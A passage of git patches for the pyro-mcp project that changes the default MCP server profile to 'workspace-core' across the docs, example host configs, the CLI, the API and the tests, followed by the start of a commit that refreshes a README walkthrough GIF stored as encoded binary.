`Pyro.create_server(profile="workspace-core")` for most chat hosts +- `Pyro.create_server()` for most chat hosts now that `workspace-core` is the default profile - `Pyro.create_workspace(name=..., labels=...)` + `Pyro.list_workspaces()` + `Pyro.update_workspace(...)` when repeated workspaces need human-friendly discovery metadata - `Pyro.create_workspace(seed_path=...)` + `Pyro.push_workspace_sync(...)` + `Pyro.exec_workspace(...)` when repeated workspace commands are required - `Pyro.list_workspace_files(...)` / `Pyro.read_workspace_file(...)` / `Pyro.write_workspace_file(...)` / `Pyro.apply_workspace_patch(...)` when the agent needs model-native file inspection and text edits inside one live workspace diff --git a/docs/public-contract.md b/docs/public-contract.md index df85826..d225c0b 100644 --- a/docs/public-contract.md +++ b/docs/public-contract.md @@ -129,8 +129,8 @@ Primary facade: Supported public entrypoints: -- `create_server(profile="workspace-full")` -- `Pyro.create_server(profile="workspace-full")` +- `create_server()` +- `Pyro.create_server()` - `Pyro.list_environments()` - `Pyro.pull_environment(environment)` - `Pyro.inspect_environment(environment)` @@ -180,7 +180,7 @@ Supported public entrypoints: Stable public method names: -- `create_server(profile="workspace-full")` +- `create_server()` - `list_environments()` - `pull_environment(environment)` - `inspect_environment(environment)` @@ -277,9 +277,9 @@ Stable MCP profiles: Behavioral defaults: -- `pyro mcp serve` and `create_server()` default to `workspace-full` for 3.x compatibility. -- `workspace-core` is the recommended first profile for most new chat-host integrations. -- `create_server(profile="workspace-core")` and `Pyro.create_server(profile="workspace-core")` are the recommended entrypoints for most new chat-host integrations. +- `pyro mcp serve`, `create_server()`, and `Pyro.create_server()` default to `workspace-core`. +- `workspace-core` is the default and recommended first profile for most new chat-host integrations. +- `create_server(profile="workspace-full")` and `Pyro.create_server(profile="workspace-full")` opt into the full advanced workspace surface explicitly. - `workspace-core` narrows `workspace_create` by omitting `network_policy` and `secrets`. - `workspace-core` narrows `workspace_exec` by omitting `secret_env`. diff --git a/docs/roadmap/llm-chat-ergonomics.md b/docs/roadmap/llm-chat-ergonomics.md index 1c83344..93fa8e4 100644 --- a/docs/roadmap/llm-chat-ergonomics.md +++ b/docs/roadmap/llm-chat-ergonomics.md @@ -6,7 +6,7 @@ goal: make the core agent-workspace use cases feel trivial from a chat-driven LLM interface. -Current baseline is `3.11.0`: +Current baseline is `4.0.0`: - the stable workspace contract exists across CLI, SDK, and MCP - one-shot `pyro run` still exists as the narrow entrypoint @@ -35,10 +35,7 @@ More concretely, the model should not need to: The remaining UX friction for a technically strong new user is now narrower: -- the generic MCP guidance is strong, but Codex and OpenCode still ask the user - to translate the generic config into host-specific setup steps -- `workspace-core` is clearly the recommended profile, but `pyro mcp serve` and - `create_server()` still default to `workspace-full` for `3.x` compatibility +- no major chat-host ergonomics gaps remain in the current roadmap ## Locked Decisions @@ -64,7 +61,7 @@ The remaining UX friction for a technically strong new user is now narrower: 8. [`3.9.0` Content-Only Reads And Human Output Polish](llm-chat-ergonomics/3.9.0-content-only-reads-and-human-output-polish.md) - Done 9. [`3.10.0` Use-Case Smoke Trust And Recipe Fidelity](llm-chat-ergonomics/3.10.0-use-case-smoke-trust-and-recipe-fidelity.md) - Done 10. [`3.11.0` Host-Specific MCP Onramps](llm-chat-ergonomics/3.11.0-host-specific-mcp-onramps.md) - Done -11. [`4.0.0` Workspace-Core Default Profile](llm-chat-ergonomics/4.0.0-workspace-core-default-profile.md) +11. [`4.0.0` Workspace-Core Default Profile](llm-chat-ergonomics/4.0.0-workspace-core-default-profile.md) - Done Completed so far: @@ -93,13 +90,12 @@ Completed so far: - `3.11.0` added exact host-specific MCP onramps for Claude Code, Codex, and OpenCode so new chat-host users can copy one known-good setup example instead of translating the generic MCP config manually. +- `4.0.0` flipped the default MCP/server profile to `workspace-core`, so the bare entrypoint now + matches the recommended narrow chat-host profile across CLI, SDK, and package-level factories. Planned next: -- `4.0.0` flips the default MCP profile from `workspace-full` to - `workspace-core` so the no-flag server entrypoint finally matches the - recommended docs path, while keeping explicit opt-in access to the full - advanced surface. +- no further chat-ergonomics milestones are currently planned in this roadmap. ## Expected Outcome diff --git a/docs/roadmap/llm-chat-ergonomics/4.0.0-workspace-core-default-profile.md b/docs/roadmap/llm-chat-ergonomics/4.0.0-workspace-core-default-profile.md index 104fb6e..55924b9 100644 --- a/docs/roadmap/llm-chat-ergonomics/4.0.0-workspace-core-default-profile.md +++ b/docs/roadmap/llm-chat-ergonomics/4.0.0-workspace-core-default-profile.md @@ -1,6 +1,6 @@ # `4.0.0` Workspace-Core Default Profile -Status: Planned +Status: Done ## Goal diff --git a/examples/claude_code_mcp.md b/examples/claude_code_mcp.md index 6f7a18f..d62cae4 100644 --- a/examples/claude_code_mcp.md +++ b/examples/claude_code_mcp.md @@ -5,16 +5,20 @@ Recommended profile: `workspace-core`. Package without install: ```bash -claude mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --profile workspace-core +claude mcp add pyro -- uvx --from pyro-mcp pyro mcp serve claude mcp list ``` Already installed: ```bash -claude mcp add pyro -- pyro mcp serve --profile workspace-core +claude mcp add pyro -- pyro mcp serve claude mcp list ``` Move to `workspace-full` only when the chat truly needs shells, services, -snapshots, secrets, network policy, or disk tools. +snapshots, secrets, network policy, or disk tools: + +```bash +claude mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --profile workspace-full +``` diff --git a/examples/claude_desktop_mcp_config.json b/examples/claude_desktop_mcp_config.json index f828de0..81f0bd6 100644 --- a/examples/claude_desktop_mcp_config.json +++ b/examples/claude_desktop_mcp_config.json @@ -2,7 +2,7 @@ "mcpServers": { "pyro": { "command": "uvx", - "args": ["--from", "pyro-mcp", "pyro", "mcp", "serve", "--profile", "workspace-core"] + "args": ["--from", "pyro-mcp", "pyro", "mcp", "serve"] } } } diff --git a/examples/codex_mcp.md b/examples/codex_mcp.md index f9f2861..6838a7d 100644 --- a/examples/codex_mcp.md +++ b/examples/codex_mcp.md @@ -5,16 +5,20 @@ Recommended profile: `workspace-core`. Package without install: ```bash -codex mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --profile workspace-core +codex mcp add pyro -- uvx --from pyro-mcp pyro mcp serve codex mcp list ``` Already installed: ```bash -codex mcp add pyro -- pyro mcp serve --profile workspace-core +codex mcp add pyro -- pyro mcp serve codex mcp list ``` Move to `workspace-full` only when the chat truly needs shells, services, -snapshots, secrets, network policy, or disk tools. +snapshots, secrets, network policy, or disk tools: + +```bash +codex mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --profile workspace-full +``` diff --git a/examples/cursor_mcp_config.json b/examples/cursor_mcp_config.json index f828de0..81f0bd6 100644 --- a/examples/cursor_mcp_config.json +++ b/examples/cursor_mcp_config.json @@ -2,7 +2,7 @@ "mcpServers": { "pyro": { "command": "uvx", - "args": ["--from", "pyro-mcp", "pyro", "mcp", "serve", "--profile", "workspace-core"] + "args": ["--from", "pyro-mcp", "pyro", "mcp", "serve"] } } } diff --git a/examples/mcp_client_config.md b/examples/mcp_client_config.md index 0fa7645..51d7419 100644 --- a/examples/mcp_client_config.md +++ b/examples/mcp_client_config.md @@ -1,6 +1,6 @@ # MCP Client Config Example -Recommended default for most chat hosts: `workspace-core`. +Default for most chat hosts in `4.x`: `workspace-core`. Use the host-specific examples first when they apply: @@ -20,7 +20,7 @@ Generic stdio MCP configuration using `uvx`: "mcpServers": { "pyro": { "command": "uvx", - "args": ["--from", "pyro-mcp", "pyro", "mcp", "serve", "--profile", "workspace-core"] + "args": ["--from", "pyro-mcp", "pyro", "mcp", "serve"] } } } @@ -33,7 +33,7 @@ If `pyro-mcp` is already installed locally, the same server can be configured wi "mcpServers": { "pyro": { "command": "pyro", - "args": ["mcp", "serve", "--profile", "workspace-core"] + "args": ["mcp", "serve"] } } } @@ -41,9 +41,9 @@ If `pyro-mcp` is already installed locally, the same server can be configured wi Profile progression: -- `workspace-core`: the recommended first persistent chat profile +- `workspace-core`: the default and recommended first persistent chat profile - `vm-run`: expose only `vm_run` -- `workspace-full`: advanced 3.x compatibility surface for shells, services, snapshots, secrets, network policy, and disk tools +- `workspace-full`: explicit advanced opt-in for shells, services, snapshots, secrets, network policy, and disk tools Primary profile for most agents: diff --git a/examples/openai_responses_workspace_core.py b/examples/openai_responses_workspace_core.py index 6664c18..1c83551 100644 --- a/examples/openai_responses_workspace_core.py +++ b/examples/openai_responses_workspace_core.py @@ -4,10 +4,10 @@ Requirements: - `pip install openai` or `uv add openai` - `OPENAI_API_KEY` -This is the recommended persistent-chat example. It mirrors the -`workspace-core` MCP profile by deriving tool schemas from -`Pyro.create_server(profile="workspace-core")` and dispatching tool calls back -through that same profiled server. +This is the recommended persistent-chat example. In 4.x the default MCP server +profile is already `workspace-core`, so it derives tool schemas from +`Pyro.create_server()` and dispatches tool calls back through that same +default-profile server. """ from __future__ import annotations @@ -45,7 +45,7 @@ async def run_openai_workspace_core_example(*, prompt: str, model: str = DEFAULT from openai import OpenAI # type: ignore[import-not-found] pyro = Pyro() - server = pyro.create_server(profile="workspace-core") + server = pyro.create_server() tools = [_tool_to_openai(tool) for tool in await server.list_tools()] client = OpenAI() input_items: list[dict[str, Any]] = [{"role": "user", "content": prompt}] diff --git a/examples/opencode_mcp_config.json b/examples/opencode_mcp_config.json index ce23db7..c060946 100644 --- a/examples/opencode_mcp_config.json +++ b/examples/opencode_mcp_config.json @@ -3,7 +3,7 @@ "pyro": { "type": "local", "enabled": true, - "command": ["uvx", "--from", "pyro-mcp", "pyro", "mcp", "serve", "--profile", "workspace-core"] + "command": ["uvx", "--from", "pyro-mcp", "pyro", "mcp", "serve"] } } } diff --git a/pyproject.toml b/pyproject.toml index d6e3ded..2f078d7 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1,6 +1,6 @@ [project] name = "pyro-mcp" -version = "3.11.0" +version = "4.0.0" description = "Stable Firecracker workspaces, one-shot sandboxes, and MCP tools for coding agents." readme = "README.md" license = { file = "LICENSE" } diff --git a/src/pyro_mcp/api.py b/src/pyro_mcp/api.py index 56b16eb..6dfc5fb 100644 --- a/src/pyro_mcp/api.py +++ b/src/pyro_mcp/api.py @@ -462,11 +462,12 @@ class Pyro: allow_host_compat=allow_host_compat, ) - def create_server(self, *, profile: McpToolProfile = "workspace-full") -> FastMCP: + def create_server(self, *, profile: McpToolProfile = "workspace-core") -> FastMCP: """Create an MCP server for one of the stable public tool profiles. - `workspace-full` remains the default for 3.x compatibility. New chat - hosts should usually start with `profile="workspace-core"`. + `workspace-core` is the default stable chat-host profile in 4.x. Use + `profile="workspace-full"` only when the host truly needs the full + advanced workspace surface. """ normalized_profile = _validate_mcp_profile(profile) enabled_tools = set(_PROFILE_TOOLS[normalized_profile]) diff --git a/src/pyro_mcp/cli.py b/src/pyro_mcp/cli.py index fc3b70c..47df4ee 100644 --- a/src/pyro_mcp/cli.py +++ b/src/pyro_mcp/cli.py @@ -760,13 +760,13 @@ def _build_parser() -> argparse.ArgumentParser: help="Run the MCP server.", description=( "Run the MCP server after you have already validated the host and " - "guest execution with `pyro doctor` and `pyro run`. Start most " - "chat hosts with `workspace-core`." + "guest execution with `pyro doctor` and `pyro run`. Bare `pyro " + "mcp serve` now starts the recommended `workspace-core` profile." ), epilog=dedent( """ Examples: - pyro mcp serve --profile workspace-core + pyro mcp serve pyro mcp serve --profile vm-run pyro mcp serve --profile workspace-full """ @@ -778,22 +778,23 @@ def _build_parser() -> argparse.ArgumentParser: "serve", help="Run the MCP server over stdio.", description=( - "Expose pyro tools over stdio for an MCP client. " - "`workspace-core` is the recommended first profile for most chat hosts." + "Expose pyro tools over stdio for an MCP client. Bare `pyro mcp " + "serve` now starts `workspace-core`, the recommended first profile " + "for most chat hosts." ), epilog=dedent( """ - Recommended first start: - pyro mcp serve --profile workspace-core + Default and recommended first start: + pyro mcp serve Profiles: - workspace-core: recommended default for normal persistent chat editing + workspace-core: default for normal persistent chat editing vm-run: smallest one-shot-only surface - workspace-full: advanced 3.x compatibility surface for shells, services, + workspace-full: advanced 4.x opt-in surface for shells, services, snapshots, secrets, network policy, and disk tools - `workspace-full` remains the default in 3.x for compatibility, but most new - chat hosts should start with `workspace-core`. + Use --profile workspace-full only when the host truly needs the full + advanced workspace surface. """ ), formatter_class=_HelpFormatter, @@ -801,11 +802,11 @@ def _build_parser() -> argparse.ArgumentParser: mcp_serve_parser.add_argument( "--profile", choices=PUBLIC_MCP_PROFILES, - default="workspace-full", + default="workspace-core", help=( - "Expose only one model-facing tool profile. `workspace-core` is the " - "recommended first profile for most chat hosts; `workspace-full` " - "preserves the current full MCP surface for 3.x compatibility." + "Expose only one model-facing tool profile. `workspace-core` is " + "the default and recommended first profile for most chat hosts; " + "`workspace-full` is the explicit advanced opt-in surface." ), ) diff --git a/src/pyro_mcp/server.py b/src/pyro_mcp/server.py index 3015991..daf1820 100644 --- a/src/pyro_mcp/server.py +++ b/src/pyro_mcp/server.py @@ -11,12 +11,13 @@ from pyro_mcp.vm_manager import VmManager def create_server( manager: VmManager | None = None, *, - profile: McpToolProfile = "workspace-full", + profile: McpToolProfile = "workspace-core", ) -> FastMCP: """Create and return a configured MCP server instance. - `workspace-full` remains the default for 3.x compatibility. New chat hosts - should usually start with `profile="workspace-core"`. + `workspace-core` is the default stable chat-host profile in 4.x. Use + `profile="workspace-full"` only when the host truly needs the full + advanced workspace surface. """ return Pyro(manager=manager).create_server(profile=profile) diff --git a/src/pyro_mcp/vm_environments.py b/src/pyro_mcp/vm_environments.py index dc2f67a..6419792 100644 --- a/src/pyro_mcp/vm_environments.py +++ b/src/pyro_mcp/vm_environments.py @@ -19,7 +19,7 @@ from typing import Any from pyro_mcp.runtime import DEFAULT_PLATFORM, RuntimePaths DEFAULT_ENVIRONMENT_VERSION = "1.0.0" -DEFAULT_CATALOG_VERSION = "3.11.0" +DEFAULT_CATALOG_VERSION = "4.0.0" OCI_MANIFEST_ACCEPT = ", ".join( ( "application/vnd.oci.image.index.v1+json", @@ -48,7 +48,7 @@ class VmEnvironment: oci_repository: str | None = None oci_reference: str | None = None source_digest: str | None = None - compatibility: str = ">=3.0.0,<4.0.0" + compatibility: str = ">=4.0.0,<5.0.0" @dataclass(frozen=True) diff --git a/tests/test_api.py b/tests/test_api.py index b882fef..8772754 100644 --- a/tests/test_api.py +++ b/tests/test_api.py @@ -37,7 +37,7 @@ def test_pyro_run_in_vm_delegates_to_manager(tmp_path: Path) -> None: assert str(result["stdout"]) == "ok\n" -def test_pyro_create_server_registers_full_profile_and_shell_read_schema(tmp_path: Path) -> None: +def test_pyro_create_server_defaults_to_workspace_core_profile(tmp_path: Path) -> None: pyro = Pyro( manager=VmManager( backend_name="mock", @@ -52,6 +52,34 @@ def test_pyro_create_server_registers_full_profile_and_shell_read_schema(tmp_pat tool_map = {tool.name: tool.model_dump() for tool in tools} return sorted(tool_map), tool_map + tool_names, tool_map = asyncio.run(_run()) + assert tuple(tool_names) == tuple(sorted(PUBLIC_MCP_WORKSPACE_CORE_PROFILE_TOOLS)) + create_properties = tool_map["workspace_create"]["inputSchema"]["properties"] + assert "network_policy" not in create_properties + assert "secrets" not in create_properties + exec_properties = tool_map["workspace_exec"]["inputSchema"]["properties"] + assert "secret_env" not in exec_properties + assert "shell_open" not in tool_map + assert "service_start" not in tool_map + assert "snapshot_create" not in tool_map + assert "workspace_disk_export" not in tool_map + + +def test_pyro_create_server_workspace_full_profile_keeps_shell_read_schema(tmp_path: Path) -> None: + pyro = Pyro( + manager=VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + ) + + async def _run() -> tuple[list[str], dict[str, dict[str, Any]]]: + server = pyro.create_server(profile="workspace-full") + tools = await server.list_tools() + tool_map = {tool.name: tool.model_dump() for tool in tools} + return sorted(tool_map), tool_map + tool_names, tool_map = asyncio.run(_run()) assert tuple(tool_names) == tuple(sorted(PUBLIC_MCP_WORKSPACE_FULL_PROFILE_TOOLS)) shell_read_properties = tool_map["shell_read"]["inputSchema"]["properties"] @@ -568,7 +596,7 @@ def test_pyro_create_server_workspace_disk_tools_delegate() -> None: return cast(dict[str, Any], structured) async def _run() -> tuple[dict[str, Any], ...]: - server = pyro.create_server() + server = pyro.create_server(profile="workspace-full") stopped = _extract_structured( await server.call_tool("workspace_stop", {"workspace_id": "workspace-123"}) ) @@ -1078,7 +1106,7 @@ def test_pyro_create_server_workspace_status_shell_and_service_delegate() -> Non return cast(dict[str, Any], structured) async def _run() -> tuple[dict[str, Any], ...]: - server = pyro.create_server() + server = pyro.create_server(profile="workspace-full") status = _extract_structured( await server.call_tool("workspace_status", {"workspace_id": "workspace-123"}) ) diff --git a/tests/test_cli.py b/tests/test_cli.py index 52807f2..aaef8d1 100644 --- a/tests/test_cli.py +++ b/tests/test_cli.py @@ -68,7 +68,8 @@ def test_cli_subcommand_help_includes_examples_and_guidance() -> None: assert "workspace-full" in mcp_help assert "vm-run" in mcp_help assert "recommended first profile for most chat hosts" in mcp_help - assert "default in 3.x for compatibility" in mcp_help + assert "workspace-core: default for normal persistent chat editing" in mcp_help + assert "workspace-full: advanced 4.x opt-in surface" in mcp_help workspace_help = _subparser_choice(parser, "workspace").format_help() assert "stable workspace contract" in workspace_help @@ -2813,36 +2814,35 @@ def test_chat_host_docs_and_examples_recommend_workspace_core() -> None: claude_code = Path("examples/claude_code_mcp.md").read_text(encoding="utf-8") codex = Path("examples/codex_mcp.md").read_text(encoding="utf-8") opencode = json.loads(Path("examples/opencode_mcp_config.json").read_text(encoding="utf-8")) - claude_cmd = ( - "claude mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --profile workspace-core" - ) - codex_cmd = ( - "codex mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --profile workspace-core" - ) + claude_cmd = "claude mcp add pyro -- uvx --from pyro-mcp pyro mcp serve" + codex_cmd = "codex mcp add pyro -- uvx --from pyro-mcp pyro mcp serve" assert "## Chat Host Quickstart" in readme - assert "pyro mcp serve --profile workspace-core" in readme + assert "uvx --from pyro-mcp pyro mcp serve" in readme assert claude_cmd in readme assert codex_cmd in readme assert "examples/opencode_mcp_config.json" in readme assert "recommended first profile for normal persistent chat editing" in readme assert "## Chat Host Quickstart" in install - assert "pyro mcp serve --profile workspace-core" in install + assert "uvx --from pyro-mcp pyro mcp serve" in install assert claude_cmd in install assert codex_cmd in install - assert "advanced 3.x compatibility surface" in install + assert "workspace-full" in install assert claude_cmd in first_run assert codex_cmd in first_run - assert "Start most chat hosts with `workspace-core`." in integrations + assert "Bare `pyro mcp serve` now starts `workspace-core`." in integrations assert "examples/claude_code_mcp.md" in integrations assert "examples/codex_mcp.md" in integrations assert "examples/opencode_mcp_config.json" in integrations - assert '`Pyro.create_server(profile="workspace-core")` for most chat hosts' in integrations + assert ( + '`Pyro.create_server()` for most chat hosts now that `workspace-core` ' + "is the default profile" in integrations + ) - assert "Recommended default for most chat hosts: `workspace-core`." in mcp_config + assert "Default for most chat hosts in `4.x`: `workspace-core`." in mcp_config assert "Use the host-specific examples first when they apply:" in mcp_config assert "claude_code_mcp.md" in mcp_config assert "codex_mcp.md" in mcp_config @@ -2868,8 +2868,6 @@ def test_chat_host_docs_and_examples_recommend_workspace_core() -> None: "pyro", "mcp", "serve", - "--profile", - "workspace-core", ], } } diff --git a/tests/test_public_contract.py b/tests/test_public_contract.py index 6009d66..5033d4a 100644 --- a/tests/test_public_contract.py +++ b/tests/test_public_contract.py @@ -57,7 +57,7 @@ from pyro_mcp.contract import ( PUBLIC_CLI_WORKSPACE_SYNC_SUBCOMMANDS, PUBLIC_CLI_WORKSPACE_UPDATE_FLAGS, PUBLIC_MCP_PROFILES, - PUBLIC_MCP_TOOLS, + PUBLIC_MCP_WORKSPACE_CORE_PROFILE_TOOLS, PUBLIC_SDK_METHODS, ) from pyro_mcp.vm_manager import VmManager @@ -335,7 +335,7 @@ def test_public_mcp_tools_match_contract(tmp_path: Path) -> None: return tuple(sorted(tool.name for tool in tools)) tool_names = asyncio.run(_run()) - assert tool_names == tuple(sorted(PUBLIC_MCP_TOOLS)) + assert tool_names == tuple(sorted(PUBLIC_MCP_WORKSPACE_CORE_PROFILE_TOOLS)) def test_pyproject_exposes_single_public_cli_script() -> None: diff --git a/tests/test_server.py b/tests/test_server.py index 9571dcd..1481149 100644 --- a/tests/test_server.py +++ b/tests/test_server.py @@ -10,7 +10,6 @@ import pyro_mcp.server as server_module from pyro_mcp.contract import ( PUBLIC_MCP_VM_RUN_PROFILE_TOOLS, PUBLIC_MCP_WORKSPACE_CORE_PROFILE_TOOLS, - PUBLIC_MCP_WORKSPACE_FULL_PROFILE_TOOLS, ) from pyro_mcp.server import create_server from pyro_mcp.vm_manager import VmManager @@ -30,7 +29,7 @@ def test_create_server_registers_vm_tools(tmp_path: Path) -> None: return sorted(tool.name for tool in tools) tool_names = asyncio.run(_run()) - assert tuple(tool_names) == tuple(sorted(PUBLIC_MCP_WORKSPACE_FULL_PROFILE_TOOLS)) + assert tuple(tool_names) == tuple(sorted(PUBLIC_MCP_WORKSPACE_CORE_PROFILE_TOOLS)) def test_create_server_vm_run_profile_registers_only_vm_run(tmp_path: Path) -> None: @@ -123,7 +122,7 @@ def test_vm_tools_status_stop_delete_and_reap(tmp_path: Path) -> None: list[dict[str, object]], dict[str, Any], ]: - server = create_server(manager=manager) + server = create_server(manager=manager, profile="workspace-full") environments_raw = await server.call_tool("vm_list_environments", {}) if not isinstance(environments_raw, tuple) or len(environments_raw) != 2: raise TypeError("unexpected environments result") @@ -299,7 +298,7 @@ def test_workspace_tools_round_trip(tmp_path: Path) -> None: return cast(dict[str, Any], structured) async def _run() -> tuple[dict[str, Any], ...]: - server = create_server(manager=manager) + server = create_server(manager=manager, profile="workspace-full") created = _extract_structured( await server.call_tool( "workspace_create", diff --git a/uv.lock b/uv.lock index f993b93..95bd68b 100644 --- a/uv.lock +++ b/uv.lock @@ -715,7 +715,7 @@ crypto = [ [[package]] name = "pyro-mcp" -version = "3.11.0" +version = "4.0.0" source = { editable = "." } dependencies = [ { name = "mcp" }, From 386b9793ee9cdd569d82aef273e63e9ab451b001 Mon Sep 17 00:00:00 2001 From: Thales Maciel Date: Fri, 13 Mar 2026 14:21:33 -0300 Subject: [PATCH 40/49] Refresh stable workspace walkthrough recording Update the README walkthrough asset to match the current workspace-first flow instead of the older JSON-plus-parsing demo. The new tape now shows the recommended 4.x handoff path: workspace create with --id-only, model-native file read and patch apply, snapshot creation, drift and full reset, service start, host export, and cleanup. Re-render the README GIF from that tape so the embedded recording demonstrates the current product story directly. Validation: vhs validate docs/assets/workspace-first-run.tape; scripts/render_tape.sh docs/assets/workspace-first-run.tape (rendered outside the sandbox because vhs crashes on local-port allocation inside the sandbox). --- docs/assets/workspace-first-run.gif | Bin 1529357 -> 3117327 bytes docs/assets/workspace-first-run.tape | 64 +++++++++++++++------------ 2 files changed, 35 insertions(+), 29 deletions(-) diff --git a/docs/assets/workspace-first-run.gif b/docs/assets/workspace-first-run.gif index 595a0e6d003a43aec1a0aff78853092f07cce42a..e4ad6b119abd24aa3d2922bfae78e63461f60f06 100644 GIT binary patch literal 3117327 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 